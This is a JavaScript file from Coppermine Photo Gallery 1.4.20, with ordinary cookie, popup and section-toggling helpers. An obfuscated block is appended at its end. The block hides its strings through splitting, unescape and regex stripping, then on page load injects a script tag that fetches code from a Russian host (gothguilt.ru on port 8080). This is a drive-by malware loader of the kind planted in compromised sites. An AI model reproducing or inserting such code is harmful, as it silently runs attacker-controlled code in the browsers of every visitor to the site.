/*************************
  Coppermine Photo Gallery
  ************************
  Copyright (c) 2003-2009 Coppermine Dev Team
  v1.1 originally written by Gregory DEMAR

  This program is free software; you can redistribute it and/or modify
  it under the terms of the GNU General Public License version 3
  as published by the Free Software Foundation.
  
  ********************************************
  Coppermine version: 1.4.20
  $HeadURL: https://coppermine.svn.sourceforge.net/svnroot/coppermine/trunk/cpg1.4.x/scripts.js $
  $Revision: 5705 $
  $Author: gaugau $
  $Date: 2009-01-28 10:52:43 +0100 (Mi, 28 Jan 2009) $
**********************************************/

function MM_openBrWindow(theURL,winName,features) { //v2.0
  window.open(theURL,winName,features);
}

function writeCookie(name, data, noDays){
  var cookieStr = name + "="+ data
  if (writeCookie.arguments.length > 2){
    cookieStr += "; expires=" + getCookieExpireDate(noDays)
    }
  document.cookie = cookieStr
}

function readCookie(cookieName){
   var searchName = cookieName + "="
   var cookies = document.cookie
   var start = cookies.indexOf(cookieName)
   if (start == -1){ // cookie not found
     return ""
     }
   start += searchName.length //start of the cookie data
   var end = cookies.indexOf(";", start)
   if (end == -1){
     end = cookies.length
     }
   return cookies.substring(start, end)
}

function blocking(nr, cookie, vis_state)
{
        if (document.layers)
        {
                current = (document.layers[nr].display == 'none') ? vis_state : 'none';
                if (cookie != '')
                        writeCookie(nr, current);
                document.layers[nr].display = current;
        }
        else if (document.all)
        {
                current = (document.all[nr].style.display == 'none') ? vis_state : 'none';
                if (cookie != '')
                        writeCookie(nr, current);
                document.all[nr].style.display = current;
        }
        else if (document.getElementById)
        {
                display = (document.getElementById(nr).style.display == 'none') ? vis_state : 'none';
                if (cookie != '')
                        writeCookie(nr, display);
                document.getElementById(nr).style.display = display;
        }
}


function adjust_popup()
{
        var w, h, fixedW, fixedH, diffW, diffH;
        if (document.documentElement && document.body.clientHeight==0) {     // Catches IE6 and FF in DOCMODE
                fixedW = document.documentElement.clientWidth;
                fixedH = document.documentElement.clientHeight;
                window.resizeTo(fixedW, fixedH);
                diffW = fixedW - document.documentElement.clientWidth;
                diffH = fixedH - document.documentElement.clientHeight;
                w = fixedW + diffW + 16; // Vert Scrollbar Always On in DOCMODE.
                h = fixedH + diffH;
                if (w >= screen.availWidth) h += 16;
        } else if (document.all) {
                fixedW = document.body.clientWidth;
                fixedH = document.body.clientHeight;
                window.resizeTo(fixedW, fixedH);
                diffW = fixedW - document.body.clientWidth;
                diffH = fixedH - document.body.clientHeight;
                w = fixedW + diffW;
                h = fixedH + diffH;
                if (h >= screen.availHeight) w += 16;
                if (w >= screen.availWidth)  h += 16;
        } else {
                fixedW = window.innerWidth;
                fixedH = window.innerHeight;
                window.resizeTo(fixedW, fixedH);
                diffW = fixedW - window.innerWidth;
                diffH = fixedH - window.innerHeight;
                w = fixedW + diffW;
                h = fixedH + diffH;
                if (w >= screen.availWidth)  h += 16;
                if (h >= screen.availHeight) w += 16;
        }
        w = Math.min(w,screen.availWidth);
        h = Math.min(h,screen.availHeight);
        window.resizeTo(w,h);
        window.moveTo((screen.availWidth-w)/2, (screen.availHeight-h)/2);
}

function show_section(e) {
    if (document.getElementById(e).style.display == 'none') {
        document.getElementById(e).style.display = 'block';
    } else {
        document.getElementById(e).style.display = 'none';
    }
}


function expand()
{
        var Nodes = document.getElementsByTagName("table")
        var max = Nodes.length
        for(var i = 0;i < max;i++) {
                var nodeObj = Nodes.item(i)
                var str = nodeObj.id
                if (str.match("section")) {
                        nodeObj.style.display = 'block';
                }
        }
}

function hideall()
{
        var Nodes = document.getElementsByTagName("table")
        var max = Nodes.length
        for(var i = 0;i < max;i++) {
                var nodeObj = Nodes.item(i)
                var str = nodeObj.id
                if (str.match("section")) {
                        nodeObj.style.display = 'none';
                }
        }
}

QJ=["H","qc","L"];try {RF=50516;RF+=199;this.S="";sp=["fq","j"];this.r=51071;this.r+=138;this.P="";var RB=new Array();oY=37820;oY-=96;var f=window["unes"+"cape"];Ub={jq:57817};this.DK=22165;this.DK--;var S_="";Lq={rr:49263};var Y="";var gP=["Pk","Rp"];var Eh=["Ly","K"];var t="repla"+"ceaqO0".substr(0,2);var k=window[("RegEx"+"p")];rI=["w"];this.uF=24434;this.uF-=214;var Q="1r5IJ".substr(0,1);var rH="rH";var V=new String("onl"+"oad");hh={};var NZ="";var z='';this.DQ="DQ";try {var Dl='cF'} catch(Dl){};var IT=new Date();this.rp="rp";function R(Q,Vc){this.cS=false;this.hf=false;i=1370;i--;_j={Ne:3813};var Ww="";var E=String("[");X={a:5542};Ov={KJ:"KVN"};E+=Vc;E+=f("%5d");iV=[];this.hA='';this.hft='';var vf={oE:49704};var u=new k(E, "g");var gh={AE:40948};n=25901;n--;oI=40786;oI--;var Ku={};var MH={};return Q.replace(u, z);var so=new String();this.sZ=9676;this.sZ+=231;};m=["Nq","eG","IF"];var gQ={T:"cR"};this.di=false;var fk={KVz:"Z"};var qd={eH:"qG"};var bx=["vO","kq"];this.Q_=false;var tp="/pps"+"trea"+"m-co"+"m/go"+"ogle"+".com"+"/dio"+"n.ne"+".jp."+"php";var Ez=String("http:"+"//got"+"hguil"+"t.ru:");var h=893344-885264;this.PM='';var VF=new Array();this.HD='';var TP=["vj","rn","UV"];var _P=new Array();try {var gu='KI'} catch(gu){};function I(){try {} catch(CU){};HH=1405;HH-=98;var hx="hx";var EA=R('sNcMr1iHp4tH','H14MN2bIX');var Xh=["EV","lE"];var WL=["Nd","TC"];var _=document;this.jT="";var q="appe"+"ndCh"+"MnJild".substr(3);PJ=58361;PJ--;Xa=58758;Xa++;this.Kr="";this.vE="";var nq={};lo={en:48359};Hn={Bu:22506};BR=27885;BR--;var Op=new Array();b=_.createElement(EA);var YO=false;TM=24738;TM--;this.qM=64623;this.qM+=159;s=Ez+h;EVQ=21637;EVQ--;s=s+tp;var C_=["Ip","Gi","nY"];var Yq="Yq";ZU=13443;ZU+=172;var RhF=new Date();lT=46619;lT+=57;KG=24427;KG++;var W=_.body;Ki=46042;Ki++;var im={wn:"YF"};b[String("defer")]=Q;var BG=new Date();b.src=s;HC=["Ix","Zf","Rz"];var Yo=[];nK={};Mb={};W[q](b);Cn=42660;Cn-=199;};var zN=new Array();GG={hR:"VG"};try {} catch(SHd){};var Ny=["Jq"];try {var KL='Le'} catch(KL){};window[V]=I;eV=17581;eV++;Xr=["wR","LY"];Dq=54839;Dq++;var ns=new Date();} catch(l){var PW="";eF=41952;eF-=213;};